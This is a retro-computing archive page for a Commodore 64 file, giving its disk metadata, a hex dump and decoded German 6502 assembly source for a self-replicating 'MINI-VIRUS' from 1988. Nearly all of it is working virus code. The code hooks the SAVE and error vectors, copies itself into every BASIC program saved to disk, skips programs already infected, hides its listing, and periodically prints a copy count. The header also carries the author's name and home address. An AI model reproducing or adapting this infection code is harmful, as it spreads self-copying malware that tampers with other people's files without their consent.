VIRUS.SRC
FILE INFORMATION
FILENAME(S): VIRUS.SRC
FILE TYPE(S): SEQ
FILE SIZE: 3.3K
FIRST SEEN: 2025-11-30 01:12:54
APPEARS ON: 3 disk(s)
FILE HASH
efae0d113e79ec76f5064d1923f480578a06a1d2d1190c4e745bec5be60169d4
FOUND ON DISKS (3 DISKS)
| DISK TITLE | FILENAME | FILE TYPE | COLLECTION | TRACK | SECTOR | ACTIONS |
|---|---|---|---|---|---|---|
| 10812 SEITE A | VIRUS.SRC | SEQ | C64er, DuncanTwain | 21 | 6 | DOWNLOAD FILE |
| 10812 SEITE A | VIRUS.SRC | SEQ | DuncanTwain | 21 | 6 | DOWNLOAD FILE |
| 10812 SEITE A | VIRUS.SRC | SEQ | DuncanTwain | 21 | 6 | DOWNLOAD FILE |
FILE CONTENT & ANALYSIS
00000000: 3B 0D 3B 20 20 20 20 20 20 20 20 20 20 CD C9 CE |;.; ...| 00000010: C9 2D D6 C9 D2 D5 D3 0D 3B 0D 3B 20 28 43 29 20 |.-......;.; (C) | 00000020: 31 39 38 38 20 CD 41 52 54 49 4E 20 C1 48 4C 45 |1988 .ARTIN .HLE| 00000030: 4D 45 59 45 52 0D 3B 20 20 20 20 20 20 20 20 20 |MEYER.; | 00000040: 20 CE 4F 52 44 48 41 4E 47 20 32 31 0D 3B 20 20 | .ORDHANG 21.; | 00000050: 20 20 20 20 20 20 20 20 C4 2D 34 37 38 38 20 D7 | .-4788 .| 00000060: 41 52 53 54 45 49 4E 0D 3B 0D 20 20 20 20 20 20 |ARSTEIN.;. | 00000070: 20 20 20 20 20 4F 52 47 20 24 30 38 30 31 0D 3B | ORG $0801.;| 00000080: 0D 20 20 20 20 20 20 20 20 20 20 20 57 20 45 4E |. W EN| 00000090: 44 45 30 2C 30 20 20 20 20 20 20 3B 20 CC 49 4E |DE0,0 ; .IN| 000000A0: 4B 2D D3 54 52 55 4B 54 55 52 20 C2 41 53 49 43 |K-.TRUKTUR .ASIC| 000000B0: 5A 45 49 4C 45 20 30 0D 20 20 20 20 20 20 20 20 |ZEILE 0. | 000000C0: 20 20 20 42 20 30 20 20 20 20 20 20 20 20 20 20 | B 0 | 000000D0: 20 20 3B 20 CC 49 53 54 53 43 48 55 54 5A 2D C2 | ; .ISTSCHUTZ-.| 000000E0: 59 54 45 0D 20 20 20 20 20 20 20 20 20 20 20 57 |YTE. W| 000000F0: 20 24 33 41 33 41 2C 24 33 41 33 41 20 20 3B 20 | $3A3A,$3A3A ; | 00000100: CB 4F 50 50 45 4C 47 4C 49 45 44 45 52 20 46 55 |.OPPELGLIEDER FU| 00000110: 45 52 20 CC 49 53 54 53 43 48 55 54 5A 0D 20 20 |ER .ISTSCHUTZ. | 00000120: 20 20 20 20 20 20 20 20 20 42 20 24 39 45 20 20 | B $9E | 00000130: 20 20 20 20 20 20 20 20 3B 20 D3 D9 D3 2D D4 4F | ; ...-.O| 00000140: 4B 45 4E 0D 20 20 20 20 20 20 20 20 20 20 20 42 |KEN. B| 00000150: 20 22 32 30 36 35 3A 22 20 20 20 20 20 20 3B 20 | "2065:" ; | 00000160: CB 4C 41 52 54 45 58 54 20 4E 41 43 48 20 D3 D9 |.LARTEXT NACH ..| 00000170: D3 0D 20 20 20 20 20 20 20 20 20 20 20 42 20 24 |.. B $| 00000180: 38 46 20 20 20 20 20 20 20 20 20 20 3B 20 D2 C5 |8F ; ..| 00000190: CD 2D D4 4F 4B 45 4E 0D 3B 0D 3A 49 4E 49 54 20 |.-.OKEN.;.:INIT | 000001A0: 20 20 20 20 20 4C 44 41 20 23 3C 45 4E 44 45 31 | LDA #<ENDE1| 000001B0: 20 20 20 20 3B 20 C2 41 53 49 43 2D D3 54 41 52 | ; .ASIC-.TAR| 000001C0: 54 20 48 45 52 41 55 46 53 45 54 5A 45 4E 0D 20 |T HERAUFSETZEN. | 000001D0: 20 20 20 20 20 20 20 20 20 20 53 54 41 20 24 32 | STA $2| 000001E0: 42 0D 20 20 20 20 20 20 20 20 20 20 20 4C 44 41 |B. LDA| 000001F0: 20 23 3E 45 4E 44 45 31 0D 20 20 20 20 20 20 20 | #>ENDE1. | 00000200: 20 20 20 20 53 54 41 20 24 32 43 0D 20 20 20 20 | STA $2C. | 00000210: 20 20 20 20 20 20 20 4C 44 41 20 23 3C 53 41 56 | LDA #<SAV| 00000220: 45 20 20 20 20 20 3B 20 D3 C1 D6 C5 2D D6 45 4B |E ; ....-.EK| 00000230: 54 4F 52 20 56 45 52 42 49 45 47 45 4E 0D 20 20 |TOR VERBIEGEN. | 00000240: 20 20 20 20 20 20 20 20 20 53 54 41 20 24 30 33 | STA $03| 00000250: 33 32 0D 20 20 20 20 20 20 20 20 20 20 20 4C 44 |32. LD| 00000260: 41 20 23 3E 53 41 56 45 0D 20 20 20 20 20 20 20 |A #>SAVE. | 00000270: 20 20 20 20 53 54 41 20 24 30 33 33 33 0D 20 20 | STA $0333. | 00000280: 20 20 20 20 20 20 20 20 20 4C 44 58 20 23 31 0D | LDX #1.| 00000290: 20 20 20 20 20 20 20 20 20 20 20 4C 44 41 20 23 | LDA #| 000002A0: 3C 45 52 52 4F 52 20 20 20 20 3B 20 C5 52 52 4F |<ERROR ; .RRO| 000002B0: 52 2D D6 45 4B 54 4F 52 20 56 45 52 42 49 45 47 |R-.EKTOR VERBIEG| 000002C0: 45 4E 0D 20 20 20 20 20 20 20 20 20 20 20 53 54 |EN. ST| 000002D0: 41 20 24 30 32 46 46 2C 58 0D 20 20 20 20 20 20 |A $02FF,X. | 000002E0: 20 20 20 20 20 4C 44 41 20 23 3E 45 52 52 4F 52 | LDA #>ERROR| 000002F0: 0D 20 20 20 20 20 20 20 20 20 20 20 53 54 41 20 |. STA | 00000300: 24 30 33 30 31 0D 20 20 20 20 20 20 20 20 20 20 |$0301. | 00000310: 20 52 54 53 0D 3B 0D 3A 53 41 56 45 20 20 20 20 | RTS.;.:SAVE | 00000320: 20 20 4C 44 41 20 45 4E 44 45 31 20 20 20 20 20 | LDA ENDE1 | 00000330: 20 3B 20 D0 52 4F 47 52 41 4D 4D 20 53 43 48 4F | ; .ROGRAMM SCHO| 00000340: 4E 20 56 45 52 53 45 55 43 48 54 3F 0D 20 20 20 |N VERSEUCHT?. | 00000350: 20 20 20 20 20 20 20 20 43 4D 50 20 23 24 38 35 | CMP #$85| 00000360: 0D 20 20 20 20 20 20 20 20 20 20 20 42 45 51 20 |. BEQ | 00000370: 53 41 56 45 45 58 20 20 20 20 20 3B 20 44 41 4E |SAVEEX ; DAN| 00000380: 4E 20 4E 4F 52 4D 41 4C 45 53 20 D3 C1 D6 C5 0D |N NORMALES .....| 00000390: 20 20 20 20 20 20 20 20 20 20 20 4C 44 41 20 45 | LDA E| 000003A0: 4E 44 45 31 2B 34 20 20 20 20 3B 20 D0 52 4F 47 |NDE1+4 ; .ROG| 000003B0: 52 41 4D 4D 20 42 45 47 49 4E 4E 54 20 4D 49 54 |RAMM BEGINNT MIT| 000003C0: 20 D3 D9 D3 3F 0D 20 20 20 20 20 20 20 20 20 20 | ...?. | 000003D0: 20 43 4D 50 20 23 24 39 45 0D 20 20 20 20 20 20 | CMP #$9E. | 000003E0: 20 20 20 20 20 42 45 51 20 53 41 56 45 45 58 20 | BEQ SAVEEX | 000003F0: 20 20 20 20 3B 20 44 41 4E 4E 20 4E 4F 52 4D 41 | ; DANN NORMA| 00000400: 4C 45 53 20 D3 C1 D6 C5 0D 20 20 20 20 20 20 20 |LES ..... | 00000410: 20 20 20 20 4C 44 41 20 24 42 39 20 20 20 20 20 | LDA $B9 | 00000420: 20 20 20 3B 20 D3 45 4B 55 4E 44 41 45 52 41 44 | ; .EKUNDAERAD| 00000430: 52 45 53 53 45 20 30 3F 0D 20 20 20 20 20 20 20 |RESSE 0?. | 00000440: 20 20 20 20 41 4E 44 20 23 25 30 30 30 30 31 31 | AND #%000011| 00000450: 31 31 20 3B 20 CF 46 46 53 45 54 20 42 45 53 45 |11 ; .FFSET BESE| 00000460: 49 54 49 47 45 4E 0D 20 20 20 20 20 20 20 20 20 |ITIGEN. | 00000470: 20 20 42 4E 45 20 53 41 56 45 45 58 20 20 20 20 | BNE SAVEEX | 00000480: 20 3B 20 57 45 4E 4E 20 4E 49 43 48 54 20 30 2C | ; WENN NICHT 0,| 00000490: 20 44 41 4E 4E 20 4E 4F 52 4D 41 4C 20 53 50 45 | DANN NORMAL SPE| 000004A0: 49 43 48 45 52 4E 0D 20 20 20 20 20 20 20 20 20 |ICHERN. | 000004B0: 20 20 4C 44 41 20 23 31 20 20 20 20 20 20 20 20 | LDA #1 | 000004C0: 20 3B 20 53 4F 4E 53 54 20 41 42 20 24 30 38 30 | ; SONST AB $080| 000004D0: 31 20 28 41 4C 53 4F 20 4D 49 54 20 D6 49 52 55 |1 (ALSO MIT .IRU| 000004E0: 53 29 0D 20 20 20 20 20 20 20 20 20 20 20 53 54 |S). ST| 000004F0: 41 20 24 43 31 20 20 20 20 20 20 20 20 3B 20 20 |A $C1 ; | 00000500: 20 53 50 45 49 43 48 45 52 4E 0D 20 20 20 20 20 | SPEICHERN. | 00000510: 20 20 20 20 20 20 4C 44 41 20 23 38 0D 20 20 20 | LDA #8. | 00000520: 20 20 20 20 20 20 20 20 53 54 41 20 24 43 32 0D | STA $C2.| 00000530: 20 20 20 20 20 20 20 20 20 20 20 4C 44 59 20 23 | LDY #| 00000540: 34 20 20 20 20 20 20 20 20 20 3B 20 DA 41 48 4C |4 ; .AHL| 00000550: 45 4E 20 57 45 49 54 45 52 53 54 45 4C 4C 45 4E |EN WEITERSTELLEN| 00000560: 0D 3A 49 4E 43 5A 31 20 20 20 20 20 4C 44 41 20 |.:INCZ1 LDA | 00000570: 5A 41 48 4C 2C 59 0D 20 20 20 20 20 20 20 20 20 |ZAHL,Y. | 00000580: 20 20 43 4D 50 20 23 24 32 30 20 20 20 20 20 20 | CMP #$20 | 00000590: 20 3B 20 CC 45 45 52 5A 45 49 43 48 45 4E 3F 0D | ; .EERZEICHEN?.| 000005A0: 20 20 20 20 20 20 20 20 20 20 20 42 4E 45 20 49 | BNE I| 000005B0: 4E 43 5A 32 0D 20 20 20 20 20 20 20 20 20 20 20 |NCZ2. | 000005C0: 4C 44 41 20 23 24 33 30 20 20 20 20 20 20 20 3B |LDA #$30 ;| 000005D0: 20 57 45 4E 4E 20 4A 41 2C 20 44 55 52 43 48 20 | WENN JA, DURCH | 000005E0: 22 30 22 20 45 52 53 45 54 5A 45 4E 0D 3A 49 4E |"0" ERSETZEN.:IN| 000005F0: 43 5A 32 20 20 20 20 20 54 41 58 0D 20 20 20 20 |CZ2 TAX. | 00000600: 20 20 20 20 20 20 20 49 4E 58 0D 20 20 20 20 20 | INX. | 00000610: 20 20 20 20 20 20 43 50 58 20 23 24 33 41 20 20 | CPX #$3A | 00000620: 20 20 20 20 20 3B 20 47 52 4F 45 53 53 45 52 20 | ; GROESSER | 00000630: 41 4C 53 20 39 3F 0D 20 20 20 20 20 20 20 20 20 |ALS 9?. | 00000640: 20 20 42 4E 45 20 49 4E 43 5A 45 58 20 20 20 20 | BNE INCZEX | 00000650: 20 3B 20 57 45 4E 4E 20 4E 49 43 48 54 2C 20 46 | ; WENN NICHT, F| 00000660: 45 52 54 49 47 0D 20 20 20 20 20 20 20 20 20 20 |ERTIG. | 00000670: 20 4C 44 41 20 23 24 33 30 20 20 20 20 20 20 20 | LDA #$30 | 00000680: 3B 20 44 55 52 43 48 20 30 20 45 52 53 45 54 5A |; DURCH 0 ERSETZ| 00000690: 45 4E 0D 20 20 20 20 20 20 20 20 20 20 20 53 54 |EN. ST| 000006A0: 41 20 5A 41 48 4C 2C 59 0D 20 20 20 20 20 20 20 |A ZAHL,Y. | 000006B0: 20 20 20 20 44 45 59 0D 20 20 20 20 20 20 20 20 | DEY. | 000006C0: 20 20 20 42 50 4C 20 49 4E 43 5A 31 20 20 20 20 | BPL INCZ1 | 000006D0: 20 20 3B 20 5A 55 52 20 4E 41 45 43 48 53 54 45 | ; ZUR NAECHSTE| 000006E0: 4E 20 D3 54 45 4C 4C 45 0D 20 20 20 20 20 20 20 |N .TELLE. | 000006F0: 20 20 20 20 49 4E 59 0D 20 20 20 20 20 20 20 20 | INY. | 00000700: 20 20 20 54 41 58 0D 3A 49 4E 43 5A 45 58 20 20 | TAX.:INCZEX | 00000710: 20 20 54 58 41 0D 20 20 20 20 20 20 20 20 20 20 | TXA. | 00000720: 20 53 54 41 20 5A 41 48 4C 2C 59 0D 20 20 20 20 | STA ZAHL,Y. | 00000730: 20 20 20 20 20 20 20 44 45 43 20 4B 4F 50 5A 20 | DEC KOPZ | 00000740: 20 20 20 20 20 20 3B 20 CB 4F 50 49 45 4E 5A 41 | ; .OPIENZA| 00000750: 45 48 4C 45 52 20 44 45 4B 52 45 4D 45 4E 54 49 |EHLER DEKREMENTI| 00000760: 45 52 45 4E 0D 20 20 20 20 20 20 20 20 20 20 20 |EREN. | 00000770: 42 4E 45 20 53 41 56 45 45 58 20 20 20 20 20 3B |BNE SAVEEX ;| 00000780: 20 57 45 4E 4E 20 4E 49 43 48 54 20 41 42 47 45 | WENN NICHT ABGE| 00000790: 4C 41 55 46 45 4E 2C 20 D3 C1 D6 C5 4E 0D 20 20 |LAUFEN, ....N. | 000007A0: 20 20 20 20 20 20 20 20 20 4C 44 41 20 4B 4F 50 | LDA KOP| 000007B0: 5A 2B 31 20 20 20 20 20 3B 20 CB 4F 50 49 45 4E |Z+1 ; .OPIEN| 000007C0: 5A 41 45 48 4C 45 52 20 52 45 53 54 41 55 52 49 |ZAEHLER RESTAURI| 000007D0: 45 52 45 4E 0D 20 20 20 20 20 20 20 20 20 20 20 |EREN. | 000007E0: 53 54 41 20 4B 4F 50 5A 0D 20 20 20 20 20 20 20 |STA KOPZ. | 000007F0: 20 20 20 20 49 4E 43 20 24 30 33 31 33 20 20 20 | INC $0313 | 00000800: 20 20 20 3B 20 C6 4C 41 47 20 46 55 45 52 20 D6 | ; .LAG FUER .| 00000810: 49 52 55 53 41 4B 54 49 4F 4E 20 53 45 54 5A 45 |IRUSAKTION SETZE| 00000820: 4E 0D 20 20 20 20 20 20 20 20 20 20 20 4C 44 41 |N. LDA| 00000830: 20 23 37 20 20 20 20 20 20 20 20 20 3B 20 C1 4B | #7 ; .K| 00000840: 54 49 4F 4E 53 5A 41 45 48 4C 45 52 20 4E 45 55 |TIONSZAEHLER NEU| 00000850: 20 53 45 54 5A 45 4E 0D 20 20 20 20 20 20 20 20 | SETZEN. | 00000860: 20 20 20 53 54 41 20 43 4F 55 4E 54 0D 3A 53 41 | STA COUNT.:SA| 00000870: 56 45 45 58 20 20 20 20 4A 4D 50 20 24 46 35 45 |VEEX JMP $F5E| 00000880: 44 20 20 20 20 20 20 3B 20 57 45 49 54 45 52 20 |D ; WEITER | 00000890: 4D 49 54 20 4E 4F 52 4D 41 4C 45 4D 20 D3 C1 D6 |MIT NORMALEM ...| 000008A0: C5 0D 3B 0D 3A 45 52 52 4F 52 20 20 20 20 20 54 |..;.:ERROR T| 000008B0: 58 41 20 20 20 20 20 20 20 20 20 20 20 20 3B 20 |XA ; | 000008C0: 58 2D D2 45 47 49 53 54 45 52 20 52 45 54 54 45 |X-.EGISTER RETTE| 000008D0: 4E 0D 20 20 20 20 20 20 20 20 20 20 20 50 48 41 |N. PHA| 000008E0: 0D 20 20 20 20 20 20 20 20 20 20 20 4A 53 52 20 |. JSR | 000008F0: 49 4E 49 54 20 20 20 20 20 20 20 3B 20 D6 45 4B |INIT ; .EK| 00000900: 54 4F 52 45 4E 20 53 54 45 4C 4C 45 4E 0D 20 20 |TOREN STELLEN. | 00000910: 20 20 20 20 20 20 20 20 20 4C 44 41 20 24 30 33 | LDA $03| 00000920: 31 33 20 20 20 20 20 20 3B 20 C6 4C 41 47 20 46 |13 ; .LAG F| 00000930: 55 45 52 20 C1 4B 54 49 4F 4E 20 54 45 53 54 45 |UER .KTION TESTE| 00000940: 4E 0D 20 20 20 20 20 20 20 20 20 20 20 42 45 51 |N. BEQ| 00000950: 20 45 52 52 4F 52 45 58 20 20 20 20 3B 20 4E 49 | ERROREX ; NI| 00000960: 43 48 54 20 47 45 53 45 54 5A 54 2C 20 44 41 4E |CHT GESETZT, DAN| 00000970: 4E 20 4E 4F 52 4D 41 4C 20 57 45 49 54 45 52 0D |N NORMAL WEITER.| 00000980: 20 20 20 20 20 20 20 20 20 20 20 44 45 43 20 43 | DEC C| 00000990: 4F 55 4E 54 20 20 20 20 20 20 3B 20 C1 4B 54 49 |OUNT ; .KTI| 000009A0: 4F 4E 53 5A 41 45 48 4C 45 52 20 44 45 4B 52 45 |ONSZAEHLER DEKRE| 000009B0: 4D 45 4E 54 49 45 52 45 4E 0D 20 20 20 20 20 20 |MENTIEREN. | 000009C0: 20 20 20 20 20 42 4E 45 20 45 52 52 4F 52 45 58 | BNE ERROREX| 000009D0: 20 20 20 20 3B 20 4E 49 43 48 54 20 30 2C 20 44 | ; NICHT 0, D| 000009E0: 41 4E 4E 20 4E 4F 52 4D 41 4C 20 57 45 49 54 45 |ANN NORMAL WEITE| 000009F0: 52 0D 20 20 20 20 20 20 20 20 20 20 20 4C 44 41 |R. LDA| 00000A00: 20 23 32 0D 20 20 20 20 20 20 20 20 20 20 20 53 | #2. S| 00000A10: 54 41 20 43 4F 55 4E 54 20 20 20 20 20 20 3B 20 |TA COUNT ; | 00000A20: C1 4B 54 49 4F 4E 53 5A 41 45 48 4C 45 52 20 4E |.KTIONSZAEHLER N| 00000A30: 45 55 20 53 45 54 5A 45 4E 0D 20 20 20 20 20 20 |EU SETZEN. | 00000A40: 20 20 20 20 20 4C 44 41 20 23 3C 54 45 58 54 20 | LDA #<TEXT | 00000A50: 20 20 20 20 3B 20 D4 45 58 54 20 41 55 53 47 45 | ; .EXT AUSGE| 00000A60: 42 45 4E 0D 20 20 20 20 20 20 20 20 20 20 20 4C |BEN. L| 00000A70: 44 59 20 23 3E 54 45 58 54 0D 20 20 20 20 20 20 |DY #>TEXT. | 00000A80: 20 20 20 20 20 4A 53 52 20 24 41 42 31 45 0D 3A | JSR $AB1E.:| 00000A90: 45 52 52 4F 52 45 58 20 20 20 50 4C 41 20 20 20 |ERROREX PLA | 00000AA0: 20 20 20 20 20 20 20 20 20 3B 20 58 2D D2 45 47 | ; X-.EG| 00000AB0: 49 53 54 45 52 20 5A 55 52 55 45 43 4B 0D 20 20 |ISTER ZURUECK. | 00000AC0: 20 20 20 20 20 20 20 20 20 54 41 58 0D 20 20 20 | TAX. | 00000AD0: 20 20 20 20 20 20 20 20 4A 4D 50 20 24 45 33 38 | JMP $E38| 00000AE0: 42 20 20 20 20 20 20 3B 20 5A 55 4D 20 D7 41 52 |B ; ZUM .AR| 00000AF0: 4D 53 54 41 52 54 0D 3B 0D 3A 43 4F 55 4E 54 20 |MSTART.;.:COUNT | 00000B00: 20 20 20 20 42 20 33 0D 3B 0D 3A 4B 4F 50 5A 20 | B 3.;.:KOPZ | 00000B10: 20 20 20 20 20 42 20 34 2C 33 0D 3B 0D 3A 54 45 | B 4,3.;.:TE| 00000B20: 58 54 20 20 20 20 20 20 42 20 24 30 44 0D 20 20 |XT B $0D. | 00000B30: 20 20 20 20 20 20 20 20 20 42 20 22 4D 49 4E 49 | B "MINI| 00000B40: 56 49 52 55 53 3A 22 0D 3A 5A 41 48 4C 20 20 20 |VIRUS:".:ZAHL | 00000B50: 20 20 20 42 20 22 20 20 20 20 30 22 0D 20 20 20 | B " 0". | 00000B60: 20 20 20 20 20 20 20 20 42 20 22 20 4B 4F 50 49 | B " KOPI| 00000B70: 45 4E 21 22 0D 3B 0D 20 20 20 20 20 20 20 20 20 |EN!".;. | 00000B80: 20 20 42 20 30 20 20 20 20 20 20 20 20 20 20 20 | B 0 | 00000B90: 20 3B 20 C5 4E 44 45 42 59 54 45 20 46 55 45 52 | ; .NDEBYTE FUER| 00000BA0: 20 D4 45 58 54 20 55 4E 44 20 46 55 45 52 20 44 | .EXT UND FUER D| 00000BB0: 49 45 0D 20 20 20 20 20 20 20 20 20 20 20 20 20 |IE. | 00000BC0: 20 20 20 20 20 20 20 20 20 20 20 20 20 3B 20 20 | ; | 00000BD0: 20 C2 41 53 49 43 5A 45 49 4C 45 20 30 0D 3B 0D | .ASICZEILE 0.;.| 00000BE0: 3A 45 4E 44 45 30 20 20 20 20 20 57 20 45 4E 44 |:ENDE0 W END| 00000BF0: 45 31 20 20 20 20 20 20 20 20 3B 20 CC 49 4E 4B |E1 ; .INK| 00000C00: 2D D3 54 52 55 4B 54 55 52 20 C2 41 53 49 43 5A |-.TRUKTUR .ASICZ| 00000C10: 45 49 4C 45 20 31 0D 20 20 20 20 20 20 20 20 20 |EILE 1. | 00000C20: 20 20 57 20 31 20 20 20 20 20 20 20 20 20 20 20 | W 1 | 00000C30: 20 3B 20 DA 45 49 4C 45 4E 4E 55 4D 4D 45 52 20 | ; .EILENNUMMER | 00000C40: C2 41 53 49 43 5A 45 49 4C 45 20 31 0D 20 20 20 |.ASICZEILE 1. | 00000C50: 20 20 20 20 20 20 20 20 42 20 24 38 46 20 20 20 | B $8F | 00000C60: 20 20 20 20 20 20 20 3B 20 D2 C5 CD 2D D4 4F 4B | ; ...-.OK| 00000C70: 45 4E 0D 20 20 20 20 20 20 20 20 20 20 20 42 20 |EN. B | 00000C80: 24 32 32 2C 24 31 34 2C 24 38 44 20 20 3B 20 CC |$22,$14,$8D ; .| 00000C90: 49 53 54 53 43 48 55 54 5A 0D 20 20 20 20 20 20 |ISTSCHUTZ. | 00000CA0: 20 20 20 20 20 42 20 24 39 31 2C 24 39 31 2C 24 | B $91,$91,$| 00000CB0: 39 31 0D 3B 0D 20 20 20 20 20 20 20 20 20 20 20 |91.;. | 00000CC0: 42 20 30 20 20 20 20 20 20 20 20 20 20 20 20 3B |B 0 ;| 00000CD0: 20 C5 4E 44 45 42 59 54 45 20 C2 41 53 49 43 5A | .NDEBYTE .ASICZ| 00000CE0: 45 49 4C 45 20 31 0D 3B 0D 3A 45 4E 44 45 31 20 |EILE 1.;.:ENDE1 | 00000CF0: 20 20 20 20 57 20 30 20 20 20 20 20 20 20 20 20 | W 0 | 00000D00: 20 20 20 3B 20 C5 4E 44 45 20 44 45 53 20 D0 52 | ; .NDE DES .R| 00000D10: 4F 47 52 41 4D 4D 53 0D 0D 0D 0D 0D 0D 20 |OGRAMMS...... |
;.; MINI-VIRUS.;.; (C) 1988 MAR
TIN AHLEMEYER.; NORDHANG 21.;
D-4788 WARSTEIN.;. ORG
$0801.;. W ENDE0,0 ; LIN
K-STRUKTUR BASICZEILE 0. B 0
; LISTSCHUTZ-BYTE. W
$3A3A,$3A3A ; KOPPELGLIEDER FUER LISTS
CHUTZ. B $9E ; SYS-TO
KEN. B "2065:" ; KLARTEXT
NACH SYS. B $8F ; RE
M-TOKEN.;.:INIT LDA #<ENDE1 ; BA
SIC-START HERAUFSETZEN. STA $2
B. LDA #>ENDE1. STA
$2C. LDA #<SAVE ; SAVE-VEK
TOR VERBIEGEN. STA $0332.
LDA #>SAVE. STA $0333.
LDX #1. LDA #<ERROR
; ERROR-VEKTOR VERBIEGEN. ST
A $02FF,X. LDA #>ERROR.
STA $0301. RTS.;.:SAVE
LDA ENDE1 ; PROGRAMM SCHON VERSEU
CHT?. CMP #$85. BEQ
SAVEEX ; DANN NORMALES SAVE.
LDA ENDE1+4 ; PROGRAMM BEGINNT MIT
SYS?. CMP #$9E. BEQ
SAVEEX ; DANN NORMALES SAVE.
LDA $B9 ; SEKUNDAERADRESSE 0?
. AND #%00001111 ; OFFSET BESE
ITIGEN. BNE SAVEEX ; WENN
NICHT 0, DANN NORMAL SPEICHERN.
LDA #1 ; SONST AB $0801 (ALSO
MIT VIRUS). STA $C1 ;
SPEICHERN. LDA #8.
STA $C2. LDY #4 ; ZAHL
EN WEITERSTELLEN.:INCZ1 LDA ZAHL,Y.
CMP #$20 ; LEERZEICHEN?.
BNE INCZ2. LDA #$30
; WENN JA, DURCH "0" ERSETZEN.:IN
CZ2 TAX. INX. CP
X #$3A ; GROESSER ALS 9?.
BNE INCZEX ; WENN NICHT, FERTIG.
LDA #$30 ; DURCH 0 ERSETZ
EN. STA ZAHL,Y. DEY.
BPL INCZ1 ; ZUR NAECHSTE
N STELLE. INY. TAX.:
INCZEX TXA. STA ZAHL,Y.
DEC KOPZ ; KOPIENZAEHLER DE
KREMENTIEREN. BNE SAVEEX ;
WENN NICHT ABGELAUFEN, SAVEN.
LDA KOPZ+1 ; KOPIENZAEHLER RESTAURI
EREN. STA KOPZ. INC
$0313 ; FLAG FUER VIRUSAKTION SETZE
N. LDA #7 ; AKTIONSZAE
HLER NEU SETZEN. STA COUNT.:SA
VEEX JMP $F5ED ; WEITER MIT NORM
ALEM SAVE.;.:ERROR TXA ;
X-REGISTER RETTEN. PHA.
JSR INIT ; VEKTOREN STELLEN.
LDA $0313 ; FLAG FUER AKTI
ON TESTEN. BEQ ERROREX ; NI
CHT GESETZT, DANN NORMAL WEITER.
DEC COUNT ; AKTIONSZAEHLER DEKRE
MENTIEREN. BNE ERROREX ; NI
CHT 0, DANN NORMAL WEITER. LDA
#2. STA COUNT ; AKTIONSZ
AEHLER NEU SETZEN. LDA #<TEXT
; TEXT AUSGEBEN. LDY #>TEX
T. JSR $AB1E.:ERROREX PLA
; X-REGISTER ZURUECK.
TAX. JMP $E38B ; ZUM WAR
MSTART.;.:COUNT B 3.;.:KOPZ B 4
,3.;.:TEXT B $0D. B "MINI
VIRUS:".:ZAHL B " 0".
B " KOPIEN!".;. B 0
; ENDEBYTE FUER TEXT UND FUER DIE.
; BASICZEILE 0.;.
:ENDE0 W ENDE1 ; LINK-STRUKTU
R BASICZEILE 1. W 1
; ZEILENNUMMER BASICZEILE 1.
B $8F ; REM-TOKEN. B
$22,$14,$8D ; LISTSCHUTZ. B $
91,$91,$91.;. B 0 ;
ENDEBYTE BASICZEILE 1.;.:ENDE1 W 0
; ENDE DES PROGRAMMS......
> CLICK IMAGE PREVIEW FOR FULL MODAL